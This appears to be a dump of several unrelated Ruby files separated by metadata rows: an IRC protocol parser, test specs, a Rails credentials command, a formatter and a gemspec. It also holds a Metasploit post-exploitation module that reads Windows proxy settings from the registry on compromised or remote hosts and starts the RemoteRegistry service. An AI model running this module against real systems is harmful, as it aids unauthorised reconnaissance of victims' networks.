RPL_CLOSEEND=363
RPL_INFOSTART=373
RPL_MYPORTIS=384
RPL_STATSCLINE=213
RPL_STATSNLINE=214
RPL_STATSILINE=215
RPL_STATSKLINE=216
RPL_STATSQLINE=217
RPL_STATSYLINE=218
RPL_STATSVLINE=240
RPL_STATSLLINE=241
RPL_STATSHLINE=244
RPL_STATSSLINE=244
RPL_STATSPING=246
RPL_STATSBLINE=247
ERR_NOSERVICEHOST=492
RPL_DATASTR=290
# A structure to hold LIST data, in the Irc namespace
ListData = Struct.new :channel, :users, :topic
# Implements RFC 2812 and prior IRC RFCs.
#
# Clients should register Proc{}s to handle the various server events, and
# the Client class will handle dispatch.
class Client
# the Server we're connected to
attr_reader :server
# the User representing us on that server
attr_reader :user
# Create a new Client instance
def initialize
@server = Server.new # The Server
@user = @server.user("*!*@*") # The User representing the client on this Server
@handlers = Hash.new
# This is used by some messages to build lists of users that
# will be delegated when the ENDOF... message is received
@tmpusers = []
# Same as above, just for bans
@tmpbans = []
end
# Clear the server and reset the user
def reset
@server.clear
@user = @server.user("*!*@*")
end
# key:: server event to handle
# value:: proc object called when event occurs
# set a handler for a server event
#
# ==server events currently supported:
#
# TODO handle errors ERR_CHANOPRIVSNEEDED, ERR_CANNOTSENDTOCHAN
#
# welcome:: server welcome message on connect
# yourhost:: your host details (on connection)
# created:: when the server was started
# isupport:: information about what this server supports
# ping:: server pings you (default handler returns a pong)
# nicktaken:: you tried to change nick to one that's in use
# badnick:: you tried to change nick to one that's invalid
# topic:: someone changed the topic of a channel
# topicinfo:: on joining a channel or asking for the topic, tells you
# who set it and when
# names:: server sends list of channel members when you join
# motd:: server message of the day
# privmsg:: privmsg, the core of IRC, a message to you from someone
# public:: optionally instead of getting privmsg you can hook to only
# the public ones...
# msg:: or only the private ones, or both
# kick:: someone got kicked from a channel
# part:: someone left a channel
# quit:: someone quit IRC
# join:: someone joined a channel
# changetopic:: the topic of a channel changed
# invite:: you are invited to a channel
# nick:: someone changed their nick
# mode:: a mode change
# notice:: someone sends you a notice
# unknown:: any other message not handled by the above
def []=(key, value)
@handlers[key] = value
end
# key:: event name
# remove a handler for a server event
def deletehandler(key)
@handlers.delete(key)
end
# takes a server string, checks for PING, PRIVMSG, NOTIFY, etc, and parses
# numeric server replies, calling the appropriate handler for each, and
# sending it a hash containing the data from the server
def process(serverstring)
data = Hash.new
data[:serverstring] = serverstring
unless serverstring.chomp =~ /^(:(\S+)\s)?(\S+)(\s(.*))?$/
raise ServerMessageParseError, (serverstring.chomp rescue serverstring)
end
prefix, command, params = $2, $3, $5
if prefix != nil
# Most servers will send a full nick!user@host prefix for
# messages from users. Therefore, when the prefix doesn't match this
# syntax it's usually the server hostname.
#
# This is not always true, though, since some servers do not send a
# full hostmask for user messages.
#
if prefix =~ /^#{Regexp::Irc::BANG_AT}$/
data[:source] = @server.user(prefix)
else
if @server.hostname
if @server.hostname != prefix
# TODO do we want to be able to differentiate messages that are passed on to us from /other/ servers?
debug "Origin #{prefix} for message\n\t#{serverstring.inspect}\nis neither a user hostmask nor the server hostname\nI'll pretend that it's from the server anyway"
data[:source] = @server
else
data[:source] = @server
end
else
@server.instance_variable_set(:@hostname, prefix)
data[:source] = @server
end
end
end
# split parameters in an array
argv = []
params.scan(/(?!:)(\S+)|:(.*)/) { argv << ($1 || $2) } if params
if command =~ /^(\d+)$/ # Numeric replies
data[:target] = argv[0]
# A numeric reply /should/ be directed at the client, except when we're connecting with a used nick, in which case
# it's directed at '*'
not_us = !([@user.nick, '*'].include?(data[:target]))
if not_us
warning "Server reply #{serverstring.inspect} directed at #{data[:target]} instead of client (#{@user.nick})"
end
num=command.to_i
case num
when RPL_WELCOME
data[:message] = argv[1]
# "Welcome to the Internet Relay Network
# <nick>!<user>@<host>"
if not_us
warning "Server thinks client (#{@user.inspect}) has a different nick"
@user.nick = data[:target]
end
if data[:message] =~ /([^@!\s]+)(?:!([^@!\s]+?))?@(\S+)/
nick = $1
user = $2
host = $3
warning "Welcome message nick mismatch (#{nick} vs #{data[:target]})" if nick != data[:target]
@user.user = user if user
@user.host = host if host
end
handle(:welcome, data)
when RPL_YOURHOST
# "Your host is <servername>, running version <ver>"
data[:message] = argv[1]
handle(:yourhost, data)
when RPL_CREATED
# "This server was created <date>"
data[:message] = argv[1]
handle(:created, data)
when RPL_MYINFO
# "<servername> <version> <available user modes>
# <available channel modes>"
@server.parse_my_info(params.split(' ', 2).last)
data[:servername] = @server.hostname
data[:version] = @server.version
data[:usermodes] = @server.usermodes
data[:chanmodes] = @server.chanmodes
handle(:myinfo, data)
when RPL_ISUPPORT
# "PREFIX=(ov)@+ CHANTYPES=#& :are supported by this server"
# "MODES=4 CHANLIMIT=#:20 NICKLEN=16 USERLEN=10 HOSTLEN=63
# TOPICLEN=450 KICKLEN=450 CHANNELLEN=30 KEYLEN=23 CHANTYPES=#
# PREFIX=(ov)@+ CASEMAPPING=ascii CAPAB IRCD=dancer :are available
# on this server"
#
@server.parse_isupport(argv[1..-2].join(' '))
handle(:isupport, data)
when ERR_NICKNAMEINUSE
# "* <nick> :Nickname is already in use"
data[:nick] = argv[1]
data[:message] = argv[2]
handle(:nicktaken, data)
when ERR_ERRONEUSNICKNAME
# "* <nick> :Erroneous nickname"
data[:nick] = argv[1]
data[:message] = argv[2]
handle(:badnick, data)
when RPL_TOPIC
data[:channel] = @server.channel(argv[1])
data[:topic] = argv[2]
data[:channel].topic.text = data[:topic]
handle(:topic, data)
when RPL_TOPIC_INFO
data[:nick] = @server.user(argv[0])
data[:channel] = @server.channel(argv[1])
# This must not be an IRC::User because it might not be an actual User,
# and we risk overwriting valid User data
data[:source] = argv[2].to_irc_netmask(:server => @server)
data[:time] = Time.at(argv[3].to_i)
data[:channel].topic.set_by = data[:source]
data[:channel].topic.set_on = data[:time]
handle(:topicinfo, data)
when RPL_NAMREPLY
# "( "=" / "*" / "@" ) <channel>
# :[ "@" / "+" ] <nick> *( " " [ "@" / "+" ] <nick> )
# - "@" is used for secret channels, "*" for private
# channels, and "=" for others (public channels).
data[:channeltype] = argv[1]
data[:channel] = chan = @server.channel(argv[2])
users = []
argv[3].scan(/\S+/).each { |u|
# FIXME beware of servers that allow multiple prefixes
if(u =~ /^([#{@server.supports[:prefix][:prefixes].join}])?(.*)$/)
umode = $1
user = $2
users << [user, umode]
end
}
users.each { |ar|
u = @server.user(ar[0])
chan.add_user(u, :silent => true)
debug "Adding user #{u}"
if ar[1]
ms = @server.mode_for_prefix(ar[1].to_sym)
debug "\twith mode #{ar[1]} (#{ms})"
chan.mode[ms].set(u)
end
}
@tmpusers += users
when RPL_ENDOFNAMES
data[:channel] = @server.channel(argv[1])
data[:users] = @tmpusers
handle(:names, data)
@tmpusers = Array.new
when RPL_BANLIST
data[:channel] = @server.channel(argv[1])
data[:mask] = argv[2]
data[:by] = argv[3]
data[:at] = argv[4]
@tmpbans << data
when RPL_ENDOFBANLIST
data[:channel] = @server.channel(argv[1])
data[:bans] = @tmpbans
handle(:banlist, data)
@tmpbans = Array.new
when RPL_LUSERCLIENT
# ":There are <integer> users and <integer>
# services on <integer> servers"
data[:message] = argv[1]
handle(:luserclient, data)
when RPL_LUSEROP
# "<integer> :operator(s) online"
data[:ops] = argv[1].to_i
handle(:luserop, data)
when RPL_LUSERUNKNOWN
# "<integer> :unknown connection(s)"
data[:unknown] = argv[1].to_i
handle(:luserunknown, data)
when RPL_LUSERCHANNELS
# "<integer> :channels formed"
data[:channels] = argv[1].to_i
handle(:luserchannels, data)
when RPL_LUSERME
# ":I have <integer> clients and <integer> servers"
data[:message] = argv[1]
handle(:luserme, data)
when ERR_NOMOTD
# ":MOTD File is missing"
data[:message] = argv[1]
handle(:motd_missing, data)
when RPL_LOCALUSERS
# ":Current local users: 3 Max: 4"
data[:message] = argv[1]
handle(:localusers, data)
when RPL_GLOBALUSERS
# ":Current global users: 3 Max: 4"
data[:message] = argv[1]
handle(:globalusers, data)
when RPL_STATSCONN
# ":Highest connection count: 4 (4 clients) (251 since server was
# (re)started)"
data[:message] = argv[1]
handle(:statsconn, data)
when RPL_MOTDSTART
# "<nick> :- <server> Message of the Day -"
if argv[1] =~ /^-\s+(\S+)\s/
server = $1
else
warning "Server doesn't have an RFC compliant MOTD start."
end
@motd = ""
when RPL_MOTD
if(argv[1] =~ /^-\s+(.*)$/)
@motd << $1
@motd << "\n"
end
when RPL_ENDOFMOTD
data[:motd] = @motd
handle(:motd, data)
when RPL_DATASTR
data[:text] = argv[1]
handle(:datastr, data)
when RPL_AWAY
data[:nick] = user = @server.user(argv[1])
data[:message] = argv[-1]
user.away = data[:message]
handle(:away, data)
when RPL_WHOREPLY
data[:channel] = channel = @server.channel(argv[1])
data[:user] = argv[2]
data[:host] = argv[3]
data[:userserver] = argv[4]
data[:nick] = user = @server.user(argv[5])
if argv[6] =~ /^(H|G)(\*)?(.*)?$/
data[:away] = ($1 == 'G')
data[:ircop] = $2
data[:modes] = $3.scan(/./).map { |mode|
m = @server.supports[:prefix][:prefixes].index(mode.to_sym)
@server.supports[:prefix][:modes][m]
} rescue []
else
warning "Strange WHO reply: #{serverstring.inspect}"
end
data[:hopcount], data[:real_name] = argv[7].split(" ", 2)
user.user = data[:user]
user.host = data[:host]
user.away = data[:away] # FIXME doesn't provide the actual message
# TODO ircop status
# TODO userserver
# TODO hopcount
user.real_name = data[:real_name]
channel.add_user(user, :silent=>true)
data[:modes].map { |mode|
channel.mode[mode].set(user)
}
handle(:who, data)
when RPL_ENDOFWHO
handle(:eowho, data)
when RPL_WHOISUSER
@whois ||= Hash.new
@whois[:nick] = argv[1]
@whois[:user] = argv[2]
@whois[:host] = argv[3]
@whois[:real_name] = argv[-1]
user = @server.user(@whois[:nick])
user.user = @whois[:user]
user.host = @whois[:host]
user.real_name = @whois[:real_name]
when RPL_WHOISSERVER
@whois ||= Hash.new
@whois[:nick] = argv[1]
@whois[:server] = argv[2]
@whois[:server_info] = argv[-1]
# TODO update user info
when RPL_WHOISOPERATOR
@whois ||= Hash.new
@whois[:nick] = argv[1]
@whois[:operator] = argv[-1]
# TODO update user info
when RPL_WHOISIDLE
@whois ||= Hash.new
@whois[:nick] = argv[1]
user = @server.user(@whois[:nick])
@whois[:idle] = argv[2].to_i
user.idle_since = Time.now - @whois[:idle]
if argv[-1] == 'seconds idle, signon time'
@whois[:signon] = Time.at(argv[3].to_i)
user.signon = @whois[:signon]
end
when RPL_ENDOFWHOIS
@whois ||= Hash.new
@whois[:nick] = argv[1]
data[:whois] = @whois.dup
@whois.clear
handle(:whois, data)
when RPL_WHOISCHANNELS
@whois ||= Hash.new
@whois[:nick] = argv[1]
@whois[:channels] ||= []
user = @server.user(@whois[:nick])
argv[-1].split.each do |prechan|
pfx = prechan.scan(/[#{@server.supports[:prefix][:prefixes].join}]/)
modes = pfx.map { |p| @server.mode_for_prefix p }
chan = prechan[pfx.length..prechan.length]
channel = @server.channel(chan)
channel.add_user(user, :silent => true)
modes.map { |mode| channel.mode[mode].set(user) }
@whois[:channels] << [chan, modes]
end
when RPL_LISTSTART
# ignore
when RPL_LIST
@list ||= Hash.new
chan = argv[1]
users = argv[2]
topic = argv[3]
@list[chan] = ListData.new(chan, users, topic)
when RPL_LISTEND
@list ||= Hash.new
data[:list] = @list
handle(:list, data)
when RPL_CHANNELMODEIS
parse_mode(serverstring, argv[1..-1], data)
handle(:mode, data)
when RPL_CREATIONTIME
data[:channel] = @server.channel(argv[1])
data[:time] = Time.at(argv[2].to_i)
data[:channel].creation_time=data[:time]
handle(:creationtime, data)
when RPL_CHANNEL_URL
data[:channel] = @server.channel(argv[1])
data[:url] = argv[2]
data[:channel].url=data[:url].dup
handle(:channel_url, data)
when ERR_NOSUCHNICK
data[:target] = argv[1]
data[:message] = argv[2]
handle(:nosuchtarget, data)
if user = @server.get_user(data[:target])
@server.delete_user(user)
end
when ERR_NOSUCHCHANNEL
data[:target] = argv[1]
data[:message] = argv[2]
handle(:nosuchtarget, data)
if channel = @server.get_channel(data[:target])
@server.delete_channel(channel)
end
else
warning "Unknown message #{serverstring.inspect}"
handle(:unknown, data)
end
return # We've processed the numeric reply
end
# Otherwise, the command should be a single word
case command.to_sym
when :PING
data[:pingid] = argv[0]
handle(:ping, data)
when :PONG
data[:pingid] = argv[0]
handle(:pong, data)
when :PRIVMSG
# you can either bind to 'PRIVMSG', to get every one and
# parse it yourself, or you can bind to 'MSG', 'PUBLIC',
# etc and get it all nicely split up for you.
begin
data[:target] = @server.user_or_channel(argv[0])
rescue
# The previous may fail e.g. when the target is a server or something
# like that (e.g. $<mask>). In any of these cases, we just use the
# String as a target
# FIXME we probably want to explicitly check for the #<mask> $<mask>
data[:target] = argv[0]
end
data[:message] = argv[1]
handle(:privmsg, data)
# Now we split it
if data[:target].kind_of?(Channel)
handle(:public, data)
else
handle(:msg, data)
end
when :NOTICE
begin
data[:target] = @server.user_or_channel(argv[0])
rescue
# The previous may fail e.g. when the target is a server or something
# like that (e.g. $<mask>). In any of these cases, we just use the
# String as a target
# FIXME we probably want to explicitly check for the #<mask> $<mask>
data[:target] = argv[0]
end
data[:message] = argv[1]
case data[:source]
when User
handle(:notice, data)
else
# "server notice" (not from user, noone to reply to)
handle(:snotice, data)
end
when :KICK
data[:channel] = @server.channel(argv[0])
data[:target] = @server.user(argv[1])
data[:message] = argv[2]
@server.delete_user_from_channel(data[:target], data[:channel])
if data[:target] == @user
@server.delete_channel(data[:channel])
end
handle(:kick, data)
when :PART
data[:channel] = @server.channel(argv[0])
data[:message] = argv[1]
@server.delete_user_from_channel(data[:source], data[:channel])
if data[:source] == @user
@server.delete_channel(data[:channel])
end
handle(:part, data)
when :QUIT
data[:message] = argv[0]
data[:was_on] = @server.channels.inject(ChannelList.new) { |list, ch|
list << ch if ch.has_user?(data[:source])
list
}
@server.delete_user(data[:source])
handle(:quit, data)
when :JOIN
data[:channel] = @server.channel(argv[0])
data[:channel].add_user(data[:source])
handle(:join, data)
when :TOPIC
data[:channel] = @server.channel(argv[0])
data[:topic] = Channel::Topic.new(argv[1], data[:source], Time.new)
data[:channel].topic.replace(data[:topic])
handle(:changetopic, data)
when :INVITE
data[:target] = @server.user(argv[0])
data[:channel] = @server.channel(argv[1])
handle(:invite, data)
when :NICK
data[:is_on] = @server.channels.inject(ChannelList.new) { |list, ch|
list << ch if ch.has_user?(data[:source])
list
}
data[:newnick] = argv[0]
data[:oldnick] = data[:source].nick.dup
data[:source].nick = data[:newnick]
debug "#{data[:oldnick]} (now #{data[:newnick]}) was on #{data[:is_on].join(', ')}"
handle(:nick, data)
when :MODE
parse_mode(serverstring, argv, data)
handle(:mode, data)
when :ERROR
data[:message] = argv[1]
handle(:error, data)
else
warning "Unknown message #{serverstring.inspect}"
handle(:unknown, data)
end
end
private
# key:: server event name
# data:: hash containing data about the event, passed to the proc
# call client's proc for an event, if they set one as a handler
def handle(key, data)
if(@handlers.has_key?(key))
@handlers[key].call(data)
end
end
# RPL_CHANNELMODEIS
# MODE ([+-]<modes> (<params>)*)*
# When a MODE message is received by a server,
# Type C will have parameters too, so we must
# be able to consume parameters for all
# but Type D modes
def parse_mode(serverstring, argv, data)
data[:target] = @server.user_or_channel(argv[0])
data[:modestring] = argv[1..-1].join(" ")
# data[:modes] is an array where each element
# is an array with two elements, the first of which
# is either :set or :reset, and the second symbol
# is the mode letter. An optional third element
# is present e.g. for channel modes that need
# a parameter
data[:modes] = []
case data[:target]
when User
# User modes aren't currently handled internally,
# but we still parse them and delegate to the client
warning "Unhandled user mode message '#{serverstring}'"
argv[1..-1].each { |arg|
setting = arg[0].chr
if "+-".include?(setting)
setting = setting == "+" ? :set : :reset
arg[1..-1].each_byte { |b|
m = b.chr.intern
data[:modes] << [setting, m]
}
else
# Although typically User modes don't take an argument,
# this is not true for all modes on all servers. Since
# we have no knowledge of which modes take parameters
# and which don't we just assign it to the last
# mode. This is not going to do strange things often,
# as usually User modes are only set one at a time
warning "Unhandled user mode parameter #{arg} found"
data[:modes].last << arg
end
}
when Channel
# array of indices in data[:modes] where parameters
# are needed
who_wants_params = []
modes = argv[1..-1].dup
debug modes
getting_args = false
while arg = modes.shift
debug arg
if getting_args
# getting args for previously set modes
idx = who_wants_params.shift
if idx.nil?
warning "Oops, problems parsing #{serverstring.inspect}"
break
end
data[:modes][idx] << arg
getting_args = false if who_wants_params.empty?
else
debug @server.supports[:chanmodes]
setting = :set
arg.each_byte do |c|
m = c.chr.intern
case m
when :+
setting = :set
when :-
setting = :reset
else
data[:modes] << [setting, m]
case m
when *@server.supports[:chanmodes][:typea]
who_wants_params << data[:modes].length - 1
when *@server.supports[:chanmodes][:typeb]
who_wants_params << data[:modes].length - 1
when *@server.supports[:chanmodes][:typec]
if setting == :set
who_wants_params << data[:modes].length - 1
end
when *@server.supports[:chanmodes][:typed]
# Nothing to do
when *@server.supports[:prefix][:modes]
who_wants_params << data[:modes].length - 1
else
warning "Ignoring unknown mode #{m} in #{serverstring.inspect}"
data[:modes].pop
end
end
end
getting_args = true unless who_wants_params.empty?
end
end
unless who_wants_params.empty?
warning "Unhandled malformed modeline #{data[:modestring]} (unexpected empty arguments)"
return
end
data[:modes].each { |mode|
set, key, val = mode
if val
data[:target].mode[key].send(set, val)
else
data[:target].mode[key].send(set)
end
}
else
warning "Ignoring #{data[:modestring]} for unrecognized target #{argv[0]} (#{data[:target].inspect})"
end
end
end
end
| 31.072428 | 176 | 0.611318 |
4aa495832106fca22fdf929c54604cfd552b5088 | 371 | require "bundler/setup"
require "tracker_spec.rb"
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = ".rspec_status"
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
| 24.733333 | 66 | 0.754717 |
28047faee3f44996ef5508c5b81740e057f1bdb6 | 3,717 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Post::Windows::Services
def initialize
super(
'Name' => 'Windows Gather Proxy Setting',
'Description' => %q{
This module pulls a user's proxy settings. If neither RHOST or SID
are set it pulls the current user, else it will pull the user's settings
specified SID and target host.
},
'Author' => [ 'mubix' ],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
register_options(
[
OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ])
], self.class)
end
def run
if datastore['SID']
root_key, base_key = session.sys.registry.splitkey("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
else
root_key, base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
end
if datastore['RHOST']
begin
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
print_status("Attempting to start service remotely...")
begin
service_start('RemoteRegistry',datastore['RHOST'])
rescue
print_error('Unable to read registry or start the service, exiting...')
return
end
startedreg = true
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
end
open_key = key.open_key(base_key)
else
open_key = session.sys.registry.open_key(root_key, base_key)
end
values = open_key.query_value('DefaultConnectionSettings')
#If we started the service we need to stop it.
service_stop('RemoteRegistry',datastore['RHOST']) if startedreg
data = values.data
print_status "Proxy Counter = #{(data[4,1].unpack('C*'))[0]}"
case (data[8,1].unpack('C*'))[0]
when 1
print_status "Setting: No proxy settings"
when 3
print_status "Setting: Proxy server"
when 5
print_status "Setting: Set proxy via AutoConfigure script"
when 7
print_status "Setting: Proxy server and AutoConfigure script"
when 9
print_status "Setting: WPAD"
when 11
print_status "Setting: WPAD and Proxy server"
when 13
print_status "Setting: WPAD and AutoConfigure script"
when 15
print_status "Setting: WPAD, Proxy server and AutoConfigure script"
else
print_status "Setting: Unknown proxy setting found"
end
cursor = 12
proxyserver = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "Proxy Server: #{proxyserver}" if proxyserver != ""
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
additionalinfo = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "Additional Info: #{additionalinfo}" if additionalinfo != ""
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
autoconfigurl = data[cursor+4, (data[cursor,1].unpack('C*'))[0]]
print_status "AutoConfigURL: #{autoconfigurl}" if autoconfigurl != ""
end
end
| 34.738318 | 162 | 0.644875 |
ed18cdca391742ec08cb9da4002d53454c2685b7 | 3,682 | require File.expand_path('../../../spec_helper', __FILE__)
ruby_version_is "2.0.0" do
require File.expand_path('../fixtures/classes', __FILE__)
require File.expand_path('../fixtures/string_refinement', __FILE__)
describe "main.using" do
it "requires one Module argument" do
lambda do
eval('using', TOPLEVEL_BINDING)
end.should raise_error(ArgumentError)
lambda do
eval('using "foo"', TOPLEVEL_BINDING)
end.should raise_error(TypeError)
end
it "uses refinements from the given module only in the target file" do
load File.expand_path('../fixtures/string_refinement_user.rb', __FILE__)
MainSpecs::DATA[:in_module].should == 'foo'
MainSpecs::DATA[:toplevel].should == 'foo'
lambda do
'hello'.foo
end.should raise_error(NoMethodError)
end
it "uses refinements from the given module for method calls in the target file" do
load File.expand_path('../fixtures/string_refinement_user.rb', __FILE__)
lambda do
'hello'.foo
end.should raise_error(NoMethodError)
MainSpecs.call_foo('hello').should == 'foo'
end
it "uses refinements from the given module in the eval string" do
cls = MainSpecs::DATA[:cls] = Class.new {def foo; 'foo'; end}
MainSpecs::DATA[:mod] = Module.new do
refine(cls) do
def foo; 'bar'; end
end
end
eval(<<-EOS, TOPLEVEL_BINDING).should == 'bar'
using MainSpecs::DATA[:mod]
MainSpecs::DATA[:cls].new.foo
EOS
end
it "does not affect methods defined before it is called" do
cls = Class.new {def foo; 'foo'; end}
MainSpecs::DATA[:mod] = Module.new do
refine(cls) do
def foo; 'bar'; end
end
end
x = MainSpecs::DATA[:x] = Object.new
eval <<-EOS, TOPLEVEL_BINDING
x = MainSpecs::DATA[:x]
def x.before_using(obj)
obj.foo
end
using MainSpecs::DATA[:mod]
def x.after_using(obj)
obj.foo
end
EOS
obj = cls.new
x.before_using(obj).should == 'foo'
x.after_using(obj).should == 'bar'
end
it "propagates refinements added to existing modules after it is called" do
cls = Class.new {def foo; 'foo'; end}
mod = MainSpecs::DATA[:mod] = Module.new do
refine(cls) do
def foo; 'quux'; end
end
end
x = MainSpecs::DATA[:x] = Object.new
eval <<-EOS, TOPLEVEL_BINDING
using MainSpecs::DATA[:mod]
x = MainSpecs::DATA[:x]
def x.call_foo(obj)
obj.foo
end
def x.call_bar(obj)
obj.bar
end
EOS
obj = cls.new
x.call_foo(obj).should == 'quux'
mod.module_eval do
refine(cls) do
def bar; 'quux'; end
end
end
x.call_bar(obj).should == 'quux'
end
it "does not propagate refinements of new modules added after it is called" do
cls = Class.new {def foo; 'foo'; end}
cls2 = Class.new {def bar; 'bar'; end}
mod = MainSpecs::DATA[:mod] = Module.new do
refine(cls) do
def foo; 'quux'; end
end
end
x = MainSpecs::DATA[:x] = Object.new
eval <<-EOS, TOPLEVEL_BINDING
using MainSpecs::DATA[:mod]
x = MainSpecs::DATA[:x]
def x.call_foo(obj)
obj.foo
end
def x.call_bar(obj)
obj.bar
end
EOS
x.call_foo(cls.new).should == 'quux'
mod.module_eval do
refine(cls2) do
def bar; 'quux'; end
end
end
x.call_bar(cls2.new).should == 'bar'
end
end
end
| 27.274074 | 86 | 0.577404 |
5d8e0c96f7521834234938b7bd1a19a308b5eb6e | 231 | require_relative '../../ext/xor_swap/seans_xor_swap'
class String
def seans_slow_reverse
arr = split ''
(arr.length / 2).times do |i|
arr[i], arr[-(i + 1)] = arr[-(i + 1)], arr[i]
end
arr.join ''
end
end
| 19.25 | 52 | 0.575758 |
384329dda18b13f1717934b3778544329e2452f8 | 1,892 | require 'spec_helper'
describe Gitlab::Ci::Build::Artifacts::GzipFileAdapter do
describe '#initialize' do
context 'when stream is passed' do
let(:stream) { File.open(expand_fixture_path('junit/junit.xml.gz'), 'rb') }
it 'initialized' do
expect { described_class.new(stream) }.not_to raise_error
end
end
context 'when stream is not passed' do
let(:stream) { nil }
it 'raises an error' do
expect { described_class.new(stream) }.to raise_error(described_class::InvalidStreamError)
end
end
end
describe '#each_blob' do
let(:adapter) { described_class.new(stream) }
context 'when stream is gzip file' do
context 'when gzip file contains one file' do
let(:stream) { File.open(expand_fixture_path('junit/junit.xml.gz'), 'rb') }
it 'iterates content and file_name' do
expect { |b| adapter.each_blob(&b) }
.to yield_with_args(fixture_file('junit/junit.xml'), 'rspec.xml')
end
end
context 'when gzip file contains three files' do
let(:stream) { File.open(expand_fixture_path('junit/junit_with_three_testsuites.xml.gz'), 'rb') }
it 'iterates content and file_name' do
expect { |b| adapter.each_blob(&b) }
.to yield_successive_args(
[fixture_file('junit/junit_with_three_testsuites_1.xml'), 'rspec-3.xml'],
[fixture_file('junit/junit_with_three_testsuites_2.xml'), 'rspec-1.xml'],
[fixture_file('junit/junit_with_three_testsuites_3.xml'), 'rspec-2.xml'])
end
end
end
context 'when stream is zip file' do
let(:stream) { File.open(expand_fixture_path('ci_build_artifacts.zip'), 'rb') }
it 'raises an error' do
expect { |b| adapter.each_blob(&b) }.to raise_error(described_class::InvalidStreamError)
end
end
end
end
| 33.192982 | 105 | 0.64482 |
385d3976da4823bd7211ecc9f19017f62ebb6187 | 2,169 | # frozen_string_literal: true
require "active_support"
require "rails/command/helpers/editor"
module Rails
module Command
class CredentialsCommand < Rails::Command::Base # :nodoc:
include Helpers::Editor
no_commands do
def help
say "Usage:\n #{self.class.banner}"
say ""
say self.class.desc
end
end
def edit
require_application_and_environment!
ensure_editor_available(command: "bin/rails credentials:edit") || (return)
ensure_master_key_has_been_added
ensure_credentials_have_been_added
catch_editing_exceptions do
change_credentials_in_system_editor
end
say "New credentials encrypted and saved."
end
def show
require_application_and_environment!
say Rails.application.credentials.read.presence || missing_credentials_message
end
private
def ensure_master_key_has_been_added
master_key_generator.add_master_key_file
master_key_generator.ignore_master_key_file
end
def ensure_credentials_have_been_added
credentials_generator.add_credentials_file_silently
end
def change_credentials_in_system_editor
Rails.application.credentials.change do |tmp_path|
system("#{ENV["EDITOR"]} #{tmp_path}")
end
end
def master_key_generator
require "rails/generators"
require "rails/generators/rails/master_key/master_key_generator"
Rails::Generators::MasterKeyGenerator.new
end
def credentials_generator
require "rails/generators"
require "rails/generators/rails/credentials/credentials_generator"
Rails::Generators::CredentialsGenerator.new
end
def missing_credentials_message
if Rails.application.credentials.key.nil?
"Missing master key to decrypt credentials. See bin/rails credentials:help"
else
"No credentials have been added yet. Use bin/rails credentials:edit to change that."
end
end
end
end
end
| 27.1125 | 96 | 0.665284 |
f70d6091f47cab6c37771e4ce5a493620b6a1a91 | 783 | # see https://github.com/chef/omnibus/blob/master/lib/omnibus/project.rb for more detailed class doc
name "cartodb-sql-api"
maintainer "CartoDB team"
homepage "https://github.com/CartoDB/omnibus-cartodb/blob/master/README.md"
build_version Omnibus::BuildVersion.semver
build_iteration 1
package_user ENV['OMNIBUS_PACKAGE_USER'] || ENV['LOGNAME'] || 'root'
package_group ENV['OMNIBUS_PACKAGE_GROUP'] || ENV['OMNIBUS_PACKAGE_USER'] || ENV['LOGNAME'] || 'root'
package_root = ENV['OMNIBUS_PACKAGE_ROOT'] || '/opt'
build_iteration ENV['OMNIBUS_PROJECT_BUILD_ITERATION'] || 1
install_dir "#{package_root}/#{name}"
exclude "**/.git"
exclude "**/bundler/git"
dependency "preparation"
dependency "cartodb-infrastructure"
dependency "cartodb-sql-api"
dependency "version-manifest"
| 32.625 | 102 | 0.763729 |
283a9bf6f6412a349f81329a50ce3cca5f4b9e60 | 1,342 | # frozen_string_literal: true
module EacRubyUtils
# A formatter like [String.sprintf].
class CustomFormat
TYPE_PATTERN = /[a-zA-Z]/.freeze
SEQUENCE_PATTERN = /(?<!%)%(#{TYPE_PATTERN})/.freeze
attr_reader :mapping
def initialize(mapping)
@mapping = mapping.map { |k, v| [k.to_sym, v] }.to_h.freeze
end
def format(string)
::EacRubyUtils::CustomFormat::String.new(self, string)
end
class String
attr_reader :format, :string
def initialize(format, string)
@format = format
@string = string
end
def mapping
@mapping ||= format.mapping.select do |k, _v|
sequences.include?(k)
end
end
def sequences
@sequences ||= string.scan(SEQUENCE_PATTERN).map(&:first).uniq.map(&:to_sym)
end
def source_object_value(object, method)
return object.send(method) if object.respond_to?(method)
return object[method] if object.respond_to?('[]')
raise ::ArgumentError, "Methods \"#{method}\" or \"[]\" not found for #{object}"
end
def with(source_object)
r = string
mapping.each do |key, method|
r = r.gsub(/%#{::Regexp.quote(key)}/, source_object_value(source_object, method).to_s)
end
r.gsub('%%', '%')
end
end
end
end
| 24.851852 | 96 | 0.598361 |
1140a64a380fc3a757ad261d1aefa017a996bb07 | 865 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'bencher/version'
Gem::Specification.new do |spec|
spec.name = "bencher"
spec.version = Bencher::VERSION
spec.authors = ["Miguel Camba"]
spec.email = ["[email protected]"]
spec.description = %q{Simple benchmarks for ruby}
spec.summary = %q{Simple benchmarks for ruby}
spec.homepage = ""
spec.license = "MIT"
spec.files = `git ls-files`.split($/)
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
